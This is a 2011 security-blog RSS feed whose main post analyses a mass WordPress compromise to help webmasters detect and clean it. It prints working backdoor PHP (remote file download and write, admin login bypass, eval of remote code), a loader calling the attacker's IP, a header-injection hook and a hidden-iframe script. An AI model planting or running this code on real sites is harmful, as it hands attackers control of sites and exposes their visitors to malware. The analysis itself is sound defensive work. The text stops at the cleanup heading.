<p>It has been a while since the last <a href="http://blog.unmaskparasites.com/2011/08/29/tweet-week-august-22-28-2011/">Tweet Week</a>. The main reason is I don&#8217;t tweet that often now to post my tweets every week and I don&#8217;t want to post old news here either.</p>
<p>So what happened? The answer is I can&#8217;t get used to Twitter web interface &#8211; it is so inconvenient. I had to use it when I had some strange problems with my Twitter client (twhirl).  Thank&#8217;s god, I&#8217;ve finally made my twhirl work so I hope I will be able to tweet more often.</p>
<p>Anyway, here are some of the latest tweets.<br />
<span id="more-854"></span><br />
<span style="color: #888888;"><strong>November 15, 2011</strong></span></p>
<p style="padding-left: 30px;">[h-online] <a href="http://www.h-online.com/security/news/item/Joomla-updates-close-security-holes-1379162.html">Joomla! updates close security holes</a> &#8211; attackers can change Joomla passwords. Upgrade ASAP</p>
<p style="padding-left: 30px;">[seoarmada com au] <a href="http://seoarmada.com.au/seo-strategy/how-my-wordpress-sites-got-hacked-over-the-weekend">Webmaster&#8217;s story</a> about how the recent WordPress attack affected his four sites</p>
<p><strong><span style="color: #888888;">November 9, 2011</span></strong></p>
<p style="padding-left: 30px;"><a href="https://plus.google.com/112663080821764238527">Unmask Parasites is on Google+ now</a> &#8212; I&#8217;ll post things that are too long for Twitter and too short for blog</p>
<p><span style="color: #888888;"><strong>November 3, 2011</strong></span></p>
<p style="padding-left: 30px;">[TheRegister] <a href="http://www.theregister.co.uk/2011/11/02/wordpress_mass_compromise/">Thousands of WordPress sites commandeered by Black Hole</a> &#8212; not sure why it mentions my older article (<a href="https://plus.google.com/102541908655540829036/posts/DEMPBjoTv5V" target="_blank">G+</a>)</p>
<p><span style="color: #888888;"><strong>November 2, 2011</strong></span></p>
<p style="padding-left: 30px;"><a href="http://googlewebmastercentral.blogspot.com/2011/11/get-post-and-safely-surfacing-more-of.html">Google will selectively crawl resources behind POST requests</a></p>
<p><span style="color: #888888;"><strong>October 31, 2011</strong></span></p>
<p style="padding-left: 30px;"><strong></strong>RT <a href="http://twitter.com/stopbadware">@stopbadware</a>: In May, <a href="http://twitter.com/unmaskparasites">@unmaskparasites</a> discussed <a href="http://blog.stopbadware.org/2011/05/20/canonical-hacks">canonical hacks</a> on our blog. Google <a href="http://googlewebmastercentral.blogspot.com/2011/10/raising-awareness-of-cross-domain-url.html">announces protection</a> today.</p>
<p><span style="color: #888888;"><strong>October 30, 2011</strong></span></p>
<p style="padding-left: 30px;">Mozilla updated my <a href="https://addons.mozilla.org/en-US/firefox /addon/readable-safebrowsing/">&#8220;Readable SafeBrowsing&#8221; extension</a> to v0.2.5. &#8212; if you use FireFox and read SafeBrowsing diagnistic pages</p>
<p><span style="color: #888888;"><strong>October 26, 2011</strong></span></p>
<p style="padding-left: 30px;">[h-online] <a href="http://www.h-online.com/security/news/item/MyBB-downloads-were-infected-1366300.html">MyBB downloads were infected</a> &#8212; download package for MyBB v1.6.4 contained a backdoor</p>
<p><span style="color: #888888;"><strong>October 21, 2011</strong></span></p>
<p style="padding-left: 30px;">[armorize]<a href="http://blog.armorize.com/2011/10/httpjjghuicomurchinjs-mass-infection.html"> &#8220;jighui /urchin.js&#8221; script injection</a> on ASP.NET sites. &#8212; Did hackers confused Breton with Brazilian?</p>
<p>If you want more real-time experience, you can follow <a href="http://twitter.com/unmaskparasites">@UnmaskParasites</a> on Twitter or <a href="https://plus.google.com/112663080821764238527">circle Unmask Parasites</a> on Google +.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li> <a href="http://blog.unmaskparasites.com/category/tweet-week/">Previous Tweet Weeks</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=ATHPZKDzxJU:9LxVcDL-bNI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=ATHPZKDzxJU:9LxVcDL-bNI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=ATHPZKDzxJU:9LxVcDL-bNI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=ATHPZKDzxJU:9LxVcDL-bNI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/11/21/selected-tweets-oct-nov-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why Does Google Consider Some Images Malicious?</title>
		<link>http://blog.unmaskparasites.com/2011/11/18/why-does-google-consider-some-images-malicious/</link>
		<comments>http://blog.unmaskparasites.com/2011/11/18/why-does-google-consider-some-images-malicious/#comments</comments>
		<pubDate>Fri, 18 Nov 2011 13:15:10 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[cross-site warning]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[img]]></category>
		<category><![CDATA[redirects]]></category>
		<category><![CDATA[safe browsing]]></category>
		<category><![CDATA[Webmaster Tools]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=852</guid>
		<description><![CDATA[The other day I received an email from a webmaster whose site was blacklisted by Google. In Webmaster Tools, he found the following example of a malicious code detected on his site (domain changed):
&#60;img src="http://example .net/images/logos/rssicon.png" /&#62;
So why did Google think this image tag was malicious? Can images be malicious? After all they are not [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I received an email from a webmaster whose site was blacklisted by Google. In Webmaster Tools, he found the following example of a malicious code detected on his site (domain changed):</p>
<p><code>&lt;<strong>img</strong> src="http://example .net/images/logos/rssicon.png" /&gt;</code></p>
<p>So why did Google think this image tag was malicious? Can images be malicious? After all they are not scripts, iframes or embedded executable objects that that hackers use to attack web surfers.<br />
<span id="more-852"></span><br />
It turns out, images can really make Google blacklist your site.  In that particular case, the image was from a third party site and it was (as its name suggests) just an RSS icon. A normal legitimate file. The only problem was the third party site got hacked and attackers modified its <em>.htaccess</em> file to redirect search traffic to malicious sites (<a href="http://blog.unmaskparasites.com/2010/10/14/htaccess-redirect-to-example-rudirindex-php-2/">like here</a>). Subsequently, that &#8220;example. net&#8221; got flagged by Google.</p>
<h3 id="cross_site">Cross-site warnings</h3>
<p>Sometimes it&#8217;s enough for your site just to load something from a blacklisted site to get a warning. For example, Google Chrome has so called &#8220;<a href="http://oliverfisher.blogspot.com/2009/01/cross-site-warnings.html">cross-site warnings</a>&#8220;.  When you open a website that is not currently blacklisted, Chrome can detect (in real time) that a page loads something (usually scripts or iframes) from a known blacklisted  site. In this case you will see the infamous red malware warning. The only difference from a normal warning will be the words that &#8220;<em>website at <strong>&lt;your website&gt;</strong> contains <strong>elements</strong> from the site <strong>&lt;third party site&gt;</strong>, which appears to host malware&#8230;</em>&#8220;.</p>
<p>These cross-site warning only (reliably) work in Google Chrome. And since websites that contain elements from malicious site are not blacklisted at the moment, there will be no malware warnings in Webmaster Tools (until Google discovers malware on your site).  So the webmaster couldn&#8217;t find that code in Webmaster Tools if that was just a cross-site warning.</p>
<h3 id="broken">Broken links can be dangerous too</h3>
<p>Let&#8217;s get back to that hacked site. It&#8217;s .<em>htaccess</em> file also contained rules to redirect all erroneous requests (e.g. requests with error codes <strong>404</strong> Not Found, <strong>400</strong> Bad Request, <strong>401</strong> Unauthorized, <strong>403</strong> Forbidden and <strong>500</strong> Internal Server Error ) to malicious sites. In our case, that <em>rssicon.png</em> file was missing for some reason, thus requests to this file returned the 404 error code and got redirected to a bad site.</p>
<p>So every time when someone loads a page with that img tag, behind the scenes, one browser request goes to a malicious site. This is probably what Google malware scanners detected and this was the reason for flagging that website with the <em>rssicon.png</em> img tag.</p>
<h3 id="widgets">Images in third party widgets</h3>
<p>Another real world example is the current problem with Blogger blogs that use some fishy &#8220;<em>page views counter widget</em>&#8221; from <span style="color: #993300;"><strong>bloggerwidgets .cz .cc</strong></span>.  Google says, this site <a href="http://www.google.com/safebrowsing/diagnostic?site=bloggerwidgets.cz.cc" target="_blank">has infected 169 blogs</a>.</p>
<p>All infected site has the following &#8220;counter widget&#8221; code<br />
<code>&lt;img src="http://forums .bit-tech .net/images-light/misc/stats.gif" alt="" width="16" height="16" /&gt;<br />
&lt;img src="hxxp://<strong>demo .bloggerwidgets .cz .cc</strong>/counter2.php?page=xxxxxxxxxxxxxxxxxxx&amp;amp;digit=4" alt="counter" /&gt;</code></p>
<p>As you can see, this code loads an image from <span style="color: #993300;">demo .bloggerwidgets .cz .cc</span>. I guess it is supposed to display views count. However, the &#8220;bloggerwidgets .cz .cc&#8221; domain seems to be discontinued and now redirects all requests to a scam site.</p>
<h3 id="malicious">Are those images malicious?</h3>
<p>Can those images from hacked/redirecting sites be really dangerous for visitors to a site that embeds the images via an &lt;img&gt; tag? Well, I think such tags are &#8220;mostly harmless&#8221; ;) Modern browsers seem to correctly handle such redirections and simply don&#8217;t process server responses in unsupported formats (the malicious redirect returns some HTML code where an image is expected). But who knows, maybe some older browsers under certain conditions may misinterpret the scope of the redirection and navigate a browser to a bad site (after all this is what browser exploits are all about &#8212; they allow to do undocumented stuff).</p>
<h3 id="webmasters">To webmasters</h3>
<p>Anyway, whats&#8217; more important for webmasters  is that image tags can really be the source of malware warnings.</p>
<p>So here are some basic tips on how to deal with such situations:</p>
<p>1. Where possible, don&#8217;t use images and other resources (e.g. scripts, objects, etc) from third-party sites. You might want to copy the files to your own server (if their license permits this).</p>
<p>2. If you have to embed resources from third party sites (counters, widgets, ads), check how trustworthy and reputable they are (e.g. compare Facebook widget and the &#8220;<em><span style="color: #993300;">bloggerwidgets .cz .cc</span></em>&#8221; widget).</p>
<p>3. If Google blacklists your site and mentions some <em>&lt;img&gt;</em> tag as the source of the problem, you should remove that tag (or replace the image with some placeholder with similar dimensions to preserve page formatting) from all pages and then <a href="http://www.unmaskparasites.com/malware-warning-guide/#request">request a malware review via Google Webmaster Tools</a>.</p>
<p>4. In case you don&#8217;t see any samples of malicious code in Webmaster Tools (for example, if you haven&#8217;t registered your site with Webmaster Tools yet) you might want to check Google&#8217;s Safe Browsing diagnostic page for your site:</p>
<p><span style="color: #000080;">http://www.google.com/safebrowsing/diagnostic?site=<span style="color: #999999;"><em>example.com</em></span></span></p>
<p>Just replace &#8220;<em>example.com</em>&#8221; with your site domain.</p>
<p>On the diagnostic page, check domains mentioned in the &#8220;<em>What happened when Google visited this site?</em>&#8221; section. If your site links to some images on those domains you need to remove them before requesting a malware review.</p>
<p>5. If you really want to use those images on your site, you should contact the owners of the sites they reside on and ask to clean them up and have Google unblock them. Once those third party websites are clean you can link to their images again.</p>
<p>Note, the above instructions only apply to situations when Google blacklists your site because of <strong>the &lt;img&gt; tags that you added to your site yourself</strong>. If you find some image tags or other HTML code that don&#8217;t belong to your site and you never added them yourself, this will be a whole different story that requires different remediation steps (for example, the most important step will be to figure out how that alien code was injected into your web pages.)</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://www.unmaskparasites.com/malware-warning-guide/">Practical Guide to Dealing With Google’s Malware Warnings</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/10/14/htaccess-redirect-to-example-rudirindex-php-2/">Htaccess Redirect to Example.ru/dir/index.php</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/04/28/readable-safebrowsing-add-on-for-firefox-4/">Readable SafeBrowsing Add-on for Firefox 4+</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=ZJAuWf-SoNU:Uavjq3lbEZE:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=ZJAuWf-SoNU:Uavjq3lbEZE:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=ZJAuWf-SoNU:Uavjq3lbEZE:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=ZJAuWf-SoNU:Uavjq3lbEZE:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/11/18/why-does-google-consider-some-images-malicious/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>/tmp/wp_inc or Not Your Typical WordPress Attack</title>
		<link>http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/</link>
		<comments>http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/#comments</comments>
		<pubDate>Wed, 09 Nov 2011 12:10:08 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[91.196.216.20]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[hidden links]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[pingnow]]></category>
		<category><![CDATA[timthumb.php]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[wp-config.php]]></category>
		<category><![CDATA[wp-settings.php]]></category>
		<category><![CDATA[wp_inc]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=850</guid>
		<description><![CDATA[This post will provide a very detailed and rather technical description of the latest massive WordPress hack. I find it interesting in many ways. Mainly because it&#8217;s so atypical.
If you don&#8217;t have time to read the whole article, you can head directly to the short description of the attack and then to the Summary section [...]]]></description>
			<content:encoded><![CDATA[<p>This post will provide a very detailed and rather technical description of the latest massive WordPress hack. I find it interesting in many ways. Mainly because it&#8217;s so atypical.</p>
<p>If you don&#8217;t have time to read the whole article, you can head directly to the <a href="http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/#short">short description</a> of the attack and then to the <a href="http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/#summary">Summary</a> section where I talk about what&#8217;s new, strange and uncommon in this attack. Or if you are a webmaster of a hacked blog, go to the &#8220;<a href="http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/#webmasters">To Webmasters</a>&#8221; section &#8211; it will help you resolve the problem.<br />
<span id="more-850"></span><br />
According to <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> statistics and the help requests I received this weekend, we have a new prevailing website infection that affects WordPress blogs.</p>
<p>Google specifies &#8220;<a href="http://www.google.com/safebrowsing/diagnostic?site=nl.ai/" target="_blank">nl.ai</a>&#8221; as the source of the problems and currently reports <strong>8,526</strong> infected domains (and given the limited coverage of Google&#8217;s data we can safely estimate at least <strong>30,000</strong> infected blogs)</p>
<p>A typical Safe Browsing diagnostic page say something like this:</p>
<blockquote><p>Malicious software is hosted on 1 domain(s), including <strong>nl.ai</strong>/.</p></blockquote>
<p>or</p>
<blockquote><p>Malicious software is hosted on 3 domain(s), including<strong> hdghd.c0m.li</strong>/, <strong>hdghdg.c0m.li</strong>/, <strong>hdfhfd.c0m.li</strong>/.</p></blockquote>
<p>The infection is detectable by <a href="http://www.UnmaskParasites.com">Unmask Parasites</a>.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/11/detected-script.png" border="0" alt="detected script" /></div>
<h3 id="malware">Malicious content</h3>
<p>Typically, in the &lt;<strong>head</strong>&gt; section of web pages, you will find a script that looks like this:</p>
<p><code>eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?'':e(parseInt(c/a<strong>...skipped...</strong>werCase|opera|webtv||setTimeout|windows|http|userAgent|1000|jnhfj|navigator|ai|showthread|php|72241732'.split('|'),0,{}))</code></p>
<p>Here is the decoded variant:</p>
<p><code>function MakeFrameEx(){element=document.getElementById('<strong>yahoo_api</strong>');if(!element){var el=document.create Element('<strong>iframe</strong>');document.body.append Child(el);el.id='yahoo_api';el.style.width='<strong>1px</strong>';el.style.height='<strong>1px</strong>';el.style.display='none';el.src='hxxp://<strong>hgdhgd .nl .ai/showthread.php?t=72241732</strong>'}}var ua=navigator.userAgent.toLowerCase();<br />
if(((ua.indexOf("<strong>msie</strong>")!=-1&amp;&amp;ua.indexOf("opera")==-1&amp;&amp;ua.indexOf("webtv")==-1))&amp;&amp;ua.indexOf("<strong>windows</strong>")!=-1){var t=setTimeout("MakeFrameEx()",1000)}</code></p>
<p>In the very beginning, you can see an additional layer against admins who are curious enough to decode the script but too naive to believe it&#8217;s a legitimate code that uses Yahoo API ;-) .</p>
<p>But if you read further, you will see the code that injects a hidden iframe to Internet Explorer browsers.  In this particular case, the iframe load malicious content from <span style="color: #993300;">hxxp://hgdhgd .nl .ai/showthread.php?t=72241732</span>.</p>
<p>Hackers regularly update the malicious script on compromised sites to change the iframe URL. Here are just a few URLs that I&#8217;ve seen during this weekend.</p>
<ul>
<li><span style="color: #993300;"><strong>hgdch .nl .ai</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>juyfdjhdjdgh .nl .ai</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>kjgfg .nl .ai</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>jnhfj .nl .ai</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>hzdgh .nl .ai</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>hgdhgd .nl .ai</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>hjbh .nl .ai</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>hgdfhd .coom .in</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>unter .myz .info</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>gdasgdsa .c0m .li</strong>/showthread.php?t=72241732</span></li>
<li><span style="color: #993300;"><strong>jopek .fr .nf</strong>/showthread.php?t=72241732</span></li>
</ul>
<p>All these domains point to the same server in Russia: <strong>95 .163 .66 .209</strong>. Or later to <strong>178 .18 .87 .141</strong></p>
<p>By the way, new exotic TLDs are getting popular within cyber criminals: .<strong>ai</strong> (Anguilla), .<strong>li</strong> (Liechtenstein) and .<strong>nf</strong> (Norfolk Island)</p>
<h3 id="how">How the attack works</h3>
<h4 id="short">Short version</h4>
<ol>
<li>Malicious hackers exploit a vulnerability in WordPress themes and plugins (I suspect the <a href="http://markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/" target="_blank">TimThumb vulnerability</a>) to upload a backdoor file.</li>
<li>They use the backdoor file to plant another backdoor code into <strong>wp-config.php</strong></li>
<li>They pass a specifically crafted code in requests to compromised blogs. Among other things, that code creates the <strong>/tmp/wp_inc</strong> file with a malicious JavaScript.</li>
<li>In <strong>wp-settings.php</strong> they create a functions that loads the content of <strong>/tmp/wp_inc</strong> into the head section of WordPress pages.</li>
</ol>
<h3 id="detailed">Detailed attack description</h3>
<p>Although the TimThumb vulnerability has been discovered more than three months ago and has been patched since then, it remains the most exploitable security hole in WordPress.  Hundreds of themes and plugins use this thumbnail utility and it&#8217;s hardly possible to upgrade them all (and all the blogs that use them) in three months. At the same time, webmasters of compromised blogs usually remove the malicious code from web pages and update <strong>timthumb.php</strong> but fail to find and remove all uploaded backdoor file &#8212; so even with the new TimThumb, their blogs remain vulnerable to subsequent attacks.</p>
<h3 id="backdoors">Backdoors</h3>
<p>So step #1: Hackers upload a backdoor file to your server. This could happen a few days ago or a couple of months ago. In either case, hackers have access to your site now.</p>
<p>For example, on one infected server, I found the following <strong>upd.php</strong> file in the <strong>wp-content</strong> directory</p>
<p><code>&lt;?php<br />
$file = $_GET['file'];<br />
$pass = $_GET['pass'];<br />
$true = 'c0c7c76d30bd3dcaefc96f40275bdc0a';<br />
if ($pass == $true){<br />
$ch = curl_init($file);<br />
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);<br />
curl_setopt($ch, CURLOPT_HEADER, 0);<br />
curl_setopt($ch, CURLOPT_TIMEOUT, 5);<br />
$shell = curl_exec($ch);<br />
curl_close($ch);<br />
$tmp = md5(rand(0,10000));<br />
$f = fopen($tmp.'.php',"w");<br />
fputs($f,$shell);<br />
fclose($f);<br />
header("Location: $tmp.php");<br />
}<br />
?&gt;</code></p>
<h3 id="wp-config">wp-config.php</h3>
<p>This is the first WordPress hack where I see a backdoor code injected into the <strong>wp-config.php</strong> file. It may be difficult to spot it. Hackers use the same trick that we usually see in tainted <strong>.htaccess</strong> files: at the very bottom of  <strong>wp-config.php</strong> they add a couple of thousand blank lines, then the following code and then another couple of thousand blank lines.</p>
<p><code>if (isset($_GET['pingnow'])&amp;&amp; isset($_GET['pass'])){<br />
if ($_GET['pass'] == 'd67d8ab4f4c10bf22aa353e27879133c'){<br />
if ($_GET['pingnow']== '<strong>login</strong>'){<br />
$user_login = '<strong>admin</strong>';<br />
$user = get_userdatabylogin($user_login);<br />
$user_id = $user-&gt;ID;<br />
<strong>wp_set_current_user</strong>($user_id, $user_login);<br />
<strong>wp_set_auth_cookie</strong>($user_id);<br />
<strong>do_action('wp_login', $user_login);</strong><br />
}<br />
if (($_GET['pingnow']== '<strong>exec</strong>')&amp;&amp;(isset($_GET['file']))){<br />
$ch = curl_init($_GET['file']);<br />
$fnm = md5(rand(0,100)).'.php';<br />
$fp = fopen($fnm, "w");<br />
curl_setopt($ch, CURLOPT_FILE, $fp);<br />
curl_setopt($ch, CURLOPT_HEADER, 0);<br />
curl_setopt($ch, CURLOPT_TIMEOUT, 5);<br />
curl_exec($ch);<br />
curl_close($ch);<br />
fclose($fp);<br />
echo "&lt;SCRIPT LANGUAGE=\"JavaScript\"&gt;<strong>location.href='$fnm';</strong>&lt;/SCRIPT&gt;";<br />
}<br />
if (($_GET['pingnow']== '<strong>eval</strong>')&amp;&amp;(isset($_GET['file']))){<br />
$ch = curl_init($_GET['file']);<br />
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);<br />
curl_setopt($ch, CURLOPT_HEADER, 0);<br />
curl_setopt($ch, CURLOPT_TIMEOUT, 5);<br />
$re = curl_exec($ch);<br />
curl_close($ch);<br />
<strong>eval($re);</strong><br />
}}}</code></p>
<p>Here you can see three main actions that can be completed using this backdoor code:</p>
<ol>
<li>Log into your WordPress blog as admin (<span style="color: #993300;">pingnow=login</span>)</li>
<li>Copy a remote file to your server and open it in a browser (<span style="color: #993300;">pingnow=exec</span>)</li>
<li>Execute a php code from a remote file (<span style="color: #993300;">pingnow=eval</span>)</li>
</ol>
<p>Here are typical requests to that backdoor in <strong>wp-config.php</strong></p>
<p><code>91.196.216.20 - - [04/Nov/2011:06:47:24 -0600] "GET /?pingnow=<strong>eval</strong>&amp;file=hxxp://<strong>91.196.216.20/collect/ping.txt</strong>&amp;pass=d67d8ab4f4c10bf22aa353e27879133c HTTP/1.1" 200 162 "-" "-"<br />
91.196.216.20 - - [04/Nov/2011:06:47:26 -0600] "GET /?pingnow=<strong>eval</strong>&amp;file=hxxp://<strong>91.196.216.20/collect/parse.txt</strong>&amp;pass=d67d8ab4f4c10bf22aa353e27879133c&amp;key=inurl%3Aajaxfilemanager+jnq HTTP/1.1" 200 981 "-" "-"<br />
91.196.216.20 - - [04/Nov/2011:06:49:41 -0600] "GET /?pingnow=<strong>eval</strong>&amp;file=hxxp://<strong>91.196.216.20/tt.php</strong>&amp;pass=d67d8ab4f4c10bf22aa353e27879133c HTTP/1.1" 200 162 "-" "-"</code></p>
<p>GET requests to backdoors? Hmm&#8230;</p>
<p>Note that requests come form the IP address <span style="color: #993300;"><strong>91 .196 .216 .20</strong></span>. Remote files also reside on that server. This IP is already known for other WordPress hacks that used the TimThumb vulnerability.</p>
<h4 id="ping">Ping</h4>
<p>The first request evaluates code from the remote <strong>/collect/ping.txt</strong> file. Basically it should only print the &#8220;&#8216;okey&#8217;&#8221; message &#8212; this means the backdoor code is still there.</p>
<h4 id="google_search">Distributed Google search</h4>
<p>The <strong>/collect/parse.txt</strong> request is more interesting. Here&#8217;s the PHP code of parse.txt.</p>
<p><code>$key = trim($_GET['key']);<br />
for($i=0;$i&lt;10;$i++){<br />
$st = $i *  100;<br />
$url = 'http://www.google.com/search?q='. urlencode($key).'&amp;num=100&amp;start='.$st;<br />
echo "$url\n";<br />
$ch = curl_init();<br />
curl_setopt($ch, CURLOPT_URL, $url);<br />
curl_setopt($ch, CURLOPT_HEADER, 0);<br />
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);<br />
$head = curl_exec($ch);<br />
curl_close($ch);<br />
preg_match_all('/href=(\'|\")http:\/\/(\S*)(\"|\')/', $head, $page_links, PREG_PATTERN_ORDER);<br />
$res = $page_links[2];<br />
foreach($res as $itogo){<br />
if (strpos($itogo, 'google') === false) {echo "http://$itogo\n";}<br />
}<br />
}<br />
exit();</code></p>
<p>These requests conduct Google searches and display up to <strong>1,000</strong> search results.  In the above logs, they searched for [<span style="color: #000080;">inurl:ajaxfilemanager jnq</span>]. That search can return links to websites that have an exploitable ajaxfilemanager vulnerability.</p>
<p>So why do they search using hacked sites? The answer is they need thousands of results for hundreds of searches (Google dorks). This amount of search results can only be retrieved using automated tools. But Google forbids automated requests and usually blocks offending IPs after a few dozens of such requests. The workaround is to search from multiple IPs (distributed search). So if they have access to compromised sited on <strong>1,000</strong> of unique servers and each IP can be (temporarily) blocked after say <strong>10</strong> queries (usually more) then hackers can expect to retrieve up to a <strong>million</strong> search results every days.</p>
<h4 id="wp_inc">/tmp/wp_inc</h4>
<p>Now the main <strong>tt.php</strong> request:</p>
<p><code>$ch = curl_init();<br />
curl_setopt($ch, CURLOPT_URL, 'hxxp://<strong>91 .196 .216 .20/eu_deb</strong>');<br />
curl_setopt($ch, CURLOPT_HEADER, 0);<br />
curl_setopt($ch,CURLOPT_TIMEOUT, 5);<br />
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);<br />
$z = curl_exec($ch);<br />
curl_close($ch);<br />
$t = <strong>sys_get_temp_dir</strong>();<br />
$f = fopen($t.'/<strong>wp_inc</strong>',"w");<br />
fputs($f,$z);<br />
fclose($f);<br />
if (file_exists($t.'/<strong>wp_inc</strong>'))<br />
{<br />
echo ('test');<br />
}<br />
exit();</code></p>
<p>This code downloads the <span style="color: #993300;">hxxp://91 .196 .216 .20/eu_deb</span> file and copies its content into the <strong>wp_inc</strong> file in the system&#8217;s temporary directory (usually <strong>/tmp</strong>).</p>
<p>During this past weekend, the <span style="color: #993300;">eu_deb</span> file contained the malicious &#8220;<em><span style="color: #993300;">eval(function(p,a,c,k,e,d)&#8230;</span></em>&#8221; script. Then its content changed. Right now I can see an HTML code with a hidden link to a doorway on another hacked WordPress blog:</p>
<p><code>&lt;form method="post" action="?" style="overflow: auto; width: <strong>5pt</strong>; height: <strong>1pt</strong>; position: absolute; <strong>display:none</strong>"&gt;&lt;A HREF="hxxp://businessactionforafrica .org/?<strong>kids</strong>" TARGET="_self"&gt;kids clothes&lt;/A&gt;&lt;/form&gt;</code></p>
<p>As you can see, the <strong>tt.php</strong> requests to the backdoor code updates the injected malicious content. This is how hackers changed the script on infected blogs and this is why most of the infected blogs became &#8220;clean&#8221; overnight without any action taken by their webmasters (hackers just replaced the malicious script with  the spammy link).</p>
<h3 id="wp-settings">wp-settings.php</h3>
<p>OK, the malicious content is in the<span style="color: #993300;"> /tmp/wp_inc</span> file. But how does it make it into WordPress pages? To do it, hackers modify the <strong>wp-settings.php</strong> file where they add the following code:</p>
<p><code>function check_wordpress(){<br />
$t_d = sys_get_temp_dir();<br />
if(file_exists($t_d . '/<strong>wp_inc</strong>')){<br />
readfile($t_d . '/<strong>wp_inc</strong>');<br />
}<br />
}<br />
add_action('<strong>wp_head</strong>', 'check_wordpress');</code></p>
<p>You can see the rogue &#8220;<strong>check_wordpress</strong>&#8221; function that loads the content of the <span style="color: #993300;">/tmp/wp_inc</span> file. It is &#8220;hooked&#8221; to the &#8220;<strong>wp_head</strong>&#8221; action. In other words, this function is executed every time when WordPress builds the header part of WordPress pages.</p>
<h3 id="webmasters">To Webmasters</h3>
<h3 id="detect">Detect</h3>
<p>Most of you will only detect this problem when Google blacklists your site. Check the diagnostic page. If Google mentions &#8220;<span style="color: #993300;"><strong>nl.ai</strong></span>&#8221; as the source of the problem then the chances are it&#8217;s the infection covered in this post. Keep on reading.</p>
<p>Now that the attackers replaced the injected code with some spammy links, Google will no longer flag your site for malware. So you still need to be able to figure out whether your blog is compromised or not.</p>
<p>Begin with checking integrity of your WordPress files. Check <strong>wp-config.php</strong> and <strong>wp-settings.php</strong> for the above mentioned malicious code (<a href="#wp-config">1</a> and <a href="#wp-settings">2</a>).</p>
<p>You can also scan your raw access logs for requests from &#8220;<strong><span style="color: #993300;">91 .196 .216 .20</span></strong>&#8221; and requests that contain the following strings: &#8220;<span style="color: #993300;"><em>pingnow=eval</em></span>&#8220;, &#8220;<span style="color: #993300;"><em>tt.php</em></span>&#8220;.</p>
<h4 id="cleanup">Clean up</h4>
